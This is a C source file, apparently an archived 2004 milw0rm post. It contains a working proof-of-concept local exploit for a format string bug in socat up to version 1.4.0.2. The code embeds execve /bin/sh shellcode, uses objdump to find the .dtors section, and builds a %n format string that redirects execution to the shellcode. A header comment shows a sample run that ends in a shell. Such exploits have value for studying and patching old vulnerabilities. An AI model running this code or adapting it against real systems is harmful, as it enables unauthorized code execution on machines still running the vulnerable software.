/* socat_exp.c

   Socat Format String Vulnerability

   socat <= 1.4.0.2 local exploit (Proof of Concept)

   Tested in Slackware 9.0 / 9.1 / 10.0

   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
   
coki@servidor:~$ make socat_exp
coki@servidor:~$ ./socat_exp

 socat <= 1.4.0.2 local exploit (Proof of Concept)
 by CoKi <coki@nosystem.com.ar>

 shellcode address = 0xbfffffb9
 .dtors address    = 0x080740c4

2004/10/19 09:49:46 socat[26197] E unknown syslog facility
"%142u%30$n%70u%31$n%256u%32$n%192u%33$n"
sh-2.05b$

This exploit does not give a root shell :(   
*/

#include <stdio.h>
#include <string.h>

#define PATH "/usr/local/bin/socat"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]=  /* aleph1 shellcode.45b */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
        "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
        "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
        "\x2f\x73\x68";

int check(unsigned long addr);

int main(int argc, char *argv[]) {

        int i, dtorsaddr;
        unsigned int bal1, bal2, bal3, bal4;
        char temp[512];
        char buffer[1024];
        int cn1, cn2, cn3, cn4;
        FILE *f;
        char *env[3] = {shellcode, NULL};
        int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);

        sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
        f = popen(temp, "r");
        if(fscanf(f, " %08x", &dtorsaddr) != 1) {
                pclose(f);
                printf("Cannot find .dtors address\n");
                exit(1);
        }
        pclose(f);
        dtorsaddr = dtorsaddr + 4;

        printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n");
        printf(" by CoKi <coki@nosystem.com.ar>\n\n");
        printf(" shellcode address = %.8p\n", shaddr);
        printf(" .dtors address    = %.8p\n\n", dtorsaddr);

        bzero(temp, sizeof(temp));
        bzero(buffer, sizeof(buffer));

        strcat(buffer, "-ly");

        for(i = 0; i < 4; i++) {
                bzero(temp, sizeof(temp));
                sprintf(temp, "%s", &dtorsaddr);
                strncat(buffer, temp, 4);
                dtorsaddr++;
        }

        bal1 = (shaddr & 0xff000000) >> 24;
        bal2 = (shaddr & 0x00ff0000) >> 16;
        bal3 = (shaddr & 0x0000ff00) >>  8;
        bal4 = (shaddr & 0x000000ff);

        cn1 = bal4 - 27 - 16;
        cn1 = check(cn1);
        cn2 = bal3 - bal4;
        cn2 = check(cn2);
        cn3 = bal2 - bal3;
        cn3 = check(cn3);
        cn4 = bal1 - bal2;
        cn4 = check(cn4);

        sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4);

        strcat(buffer, temp);

        execle(PATH, "socat", buffer, NULL, env);
}

int check(unsigned long addr) {
        char tmp[128];
        snprintf(tmp, sizeof(tmp), "%d", addr);
        if(atoi(tmp) < 1)
                addr = addr + 256;

        return addr;
}

// milw0rm.com [2004-10-23]
